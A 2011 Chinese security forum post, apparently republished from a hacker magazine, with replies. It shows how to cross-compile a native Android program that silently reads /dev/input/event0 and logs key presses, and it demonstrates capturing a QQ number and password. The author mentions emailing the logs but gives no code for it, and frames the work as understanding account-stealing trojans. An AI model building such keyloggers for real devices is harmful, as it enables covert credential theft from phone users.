首页
社区
课程
招聘
[原创]Android操作系统安全研究系列——键盘记录
发表于: 2011-7-4 11:15 39742

[原创]Android操作系统安全研究系列——键盘记录

2011-7-4 11:15
39742

以投稿在黑防6月杂志
****************************************
    盗号木马大家都很常见了,但大多数都是在windows平台下的,像阿拉QQ大盗等键盘记录程序都给用户带来不少的麻烦。在android手机越来越普及的今天,盗号木马也将会转移到手机上来,为了更好的防范这种盗号木马,我们首先要了解其原理。
    首先是要了解Android系统,Android是基于Linux的操作系统,处理器是ARM的,所以要在Linux或Windows等x86系统上编译Android能运行的程序,你需要一个交叉编译器。
    工欲善其事必先利其器,在Linux下面,你可以自已编译一个交叉编译环境,但Windows下面,就比较复杂(也可以在cygwin中编译一个),但我推荐大家选择下载一个现成的交叉编译环境:
http://www.codesourcery.com/gnu_toolchains/arm/portal/package3400/public/arm-none-linux-gnueabi/arm-2008q3-41-arm-none-linux-gnueabi.exe
    这是一个命令行工具,安装好了之后,最好将CodeSourcery编译器的bin目录加入你的PATH环境变量中,就可以开始你的Android Native C开发之旅了,先来熟悉一下开发调试流程,下面写好一个简单的C程序:

#include <stdlib.h>

int main(int argc, char** argv) {
printf("hello android!\nI'm %s!\nI like android very much!!!\n", "GuiGu");
return 0;
}

    将上述代码另存成hello.c,然后进入命令行模式,确保交叉编译器的bin目录,及Android SDK的tools目录在你的系统环境变量的path里面,用如下命令编译:
arm-none-linux-gnueabi-gcc -static hello.c -o hello
    成功编译后会在该目录下生成一个hello的文件,下面启动Android模拟器,用如下命令将文件push到Android模拟器上:
adb shell mkdir /dev/h4ck
adb push hello /dev/h4ck/hello
adb shell chmod 777 /dev/h4ck/hello
上述命令的含义是:先创建 /dev/h4ck目录,再将编译好的hello上传上去,最后将hello改成可执行的。
上传好了之后,再进入命令行模式,进入Android的shell环境:
adb shell
#cd /dev/h4ck
#./hello
进入 /dev/h4ck目录,执行hello,运行结果如下图:

    可以看到在android主界面是没有任何反应的,程序是后台静默运行的,具有很强的隐蔽性。下面说说键盘记录的原理吧。如果你做过android系统编程就会知道键盘事件用的device是 /dev/tty0,进入 /dev/input 目录,发现在3个device文件:mice,mouse0,event0,分别 cat这3个文件,发现只有 event0 有反应,如下图:

而且不管是点击鼠标还是按键,都有反应,但显示的是一堆乱码,而且点击鼠标出来的东西要多一点,这就说明,android会将用户的操作保存在这个文件中。我们只要写一段代码来分析这些乱码就可以获得我们想要的信息了,下面来编程实现吧。
为了分析 event0 的返回值,写了一段代码key.c,核心代码如下:
        static int event0_fd = -1;
        struct input_event ev0[64];
        static int handle_event0() {
            int button = 0, i, rd;
            rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);
            if ( rd < sizeof(struct input_event) ) return 0;
            for (i = 0; i < rd / sizeof(struct input_event); i++) {
                if (ev0[i].type == 1&&ev0[i].value == 1) {
                                printf("您按下键盘的编码是: %3d\n", ev0[i].code);
                    if (ev0[i].code == 158) {
                        return 0;
                    }
                }
               
            }
            return 1;
        }
        int main(void) {
         int done = 1;
            event0_fd = open("/dev/input/event0", O_RDWR);
            if ( event0_fd < 0 )
                return -1;
                printf("开始键盘监听...\n");
            while ( done ) {
                done = handle_event0();
            }
用交叉编译器编译好后push至虚拟机中执行后,切换到android 模拟器,在模拟器上进行输入操作,程序就会打出你点击的按键信息,效果如下:

分析上面记录的键盘编码,发现当按下的键盘按键和编码是一一对应的,如上图所示,我们输入的QQ号码是1234567,记录的按键编码是2345678,然后我按了一下密码框,记录键盘编码是330,密码输入的是guiguxiansheng,如图也截取到了相应的键盘编码,其他的按键没有仔细去看它们的键盘编码返回值,反正已经正确得到键盘记录了,如果要做一个真正的盗号木马。可以将记录下来的键盘发送到指定邮箱或post到指定网页。作为演示我们就到这里。
手机淘宝、手机网银越来越普及了,希望杀毒软件常常能关注一下手机安全领域,尽早做好防范措施。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (21)
雪    币: 322
活跃值: (113)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
抢占有利地势
2011-7-4 12:29
0
雪    币: 1413
活跃值: (401)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
3
请问event0的格式是怎么样的?也就是input_event结构体的定义是什么样的?
此外,64是系统对键盘操作的缓冲大小吗?
2011-7-4 13:12
0
雪    币: 488
活跃值: (185)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
4
想问一下,关于权限的问题。

我刚才看了一下event0的访问权限,如下:
crw-rw---- root     input     13,  64 2011-06-28 14:53 event0

那么,如果编译一个bin,然后push到机器中。运行它的user是否有权限读取这个文件呢?Android模拟器的命令行是root权限,不存在这个问题;但是在非root的真机上,这招是否可行呢?
2011-7-4 15:04
0
雪    币: 80
活跃值: (45)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
看得出楼上两位对android安全很是关注,希望能一起学习交流。

to:bughouse
event0的格式可以参考android的源代码,我没整理,这是看需要的几个结构了,其中还包括触屏事件,触屏坐标等等。64是事件缓冲区大小。

to:ZhWeir
操作系统文件是要root权限的,root的方法网上是有一些的,可有完整的so模块可以直接拿来利用。而且现在很多rom都已经root了,真机器测试是可以的。
2011-7-4 15:42
0
雪    币: 231
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qdk
6
楼主不知道就算是root过的系统,提权的时候管理提权的程序也会弹出提示的吗?
2011-7-7 01:24
0
雪    币: 80
活跃值: (45)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
楼上说的是利用提全软件提全的情况。

而提权的过程是不会有提示的。

弹出的提示是所谓提权软件的权限管理功能模块。
2011-7-7 10:34
0
雪    币: 488
活跃值: (185)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
8
牛人,有空发篇文章,讲下应用如何在Android系统下提权啊~
2011-7-7 10:51
0
雪    币: 35
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
android下面可以实现注入么?
2011-7-24 13:52
0
雪    币: 255
活跃值: (49)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
10
LZ 有几个问题请教
1、所给链接已失效
2、该网站提供的新的交叉编译器 编译hello程序错误 提示如下

d:\native_hello>arm-none-eabi-gcc -static hello.c -o hello

d:/codesourcery/sourcery_codebench_lite_for_arm_eabi/bin/../lib/gcc/arm-none-

eabi/4.6.1/../../../../arm-none-eabi/bin/ld.exe: warning: cannot find entry symbol _start;

defaulting to 00008018

d:/codesourcery/sourcery_codebench_lite_for_arm_eabi/bin/../lib/gcc/arm-none-

eabi/4.6.1/../../../../arm-none-eabi/lib\libc.a(lib_a-sbrkr.o): In function

`_sbrk_r':sbrkr.c:(.text+0x18): undefined reference to `_sbrk`

后面还有一长串的类似错误:

undefined reference to `_write`
undefined reference to `_close`
undefined reference to `_fstat`
undefined reference to `_isatty`
undefined reference to `_lseek`
undefined reference to `_read`

链接不成功是什么原因?
是因为这个工具为Lite版本吗?还是没有设置lib路径?Google不到有用信息 请指教!

:)
2011-12-27 11:36
0
雪    币: 73
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
同样遇到了这个问题

希望有人能介绍一下ARM的交叉编译环境配置
2012-5-3 17:11
0
雪    币: 73
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
问题解决了 是因为没有下对CodeSourcery的版本 应该下载安装for ARM GNU/Linux的版本 也就是那个arm-none-linux-gnueabi
2012-5-3 22:36
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
楼主对软键盘的键盘记录还有研究啊
2012-9-26 11:26
0
雪    币: 222
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
楼主的图看不到了
2012-9-28 09:57
0
雪    币: 310
活跃值: (159)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
15
有编译好的成品发上来用用就好
2012-11-20 16:35
0
雪    币: 6949
活跃值: (2785)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
很不错,自己也想过,但因为编程功底不高,所以一直没尝试。
帖子介绍的很清楚。
而且现在国内手机ROOT是很普遍的事情,所以危害更大。
期待大家都成品作品
2012-11-24 13:30
0
雪    币: 32
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
在模拟器上运行可以截到键盘编码,,但是在ROOT过的真机上运行,却没有截到,按键盘没有反应,求解答

原来只能截取电脑键盘的输入,,对于安卓模拟器键盘或是手机系统键盘的输入则无法截取
2013-12-3 11:54
0
雪    币: 116
活跃值: (70)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
18
楼上:你可以看看getevent命令的输出,对于keyboard类型的肯定是能截获确定内容,对于touch类型的只能截获当下touch的坐标,楼主的代码中“ev0[i].type == 1”只判断了keyboard类型
2013-12-26 14:51
0
雪    币: 32
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
哦,手机系统键盘分keyboard和touch类型是吗,这些真不了解呢,谢谢你的解答
2013-12-26 15:37
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
现在大多数手机应用都是软键盘哦,只获取坐标。。。

不过还是感谢楼主的分享
2014-4-22 17:10
0
雪    币: 8314
活跃值: (3917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
想要深入学习还是要很大的耐心的。
2014-8-26 11:12
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
有些是event1
2014-8-29 17:17
0
游客
登录 | 注册 方可回帖
返回
//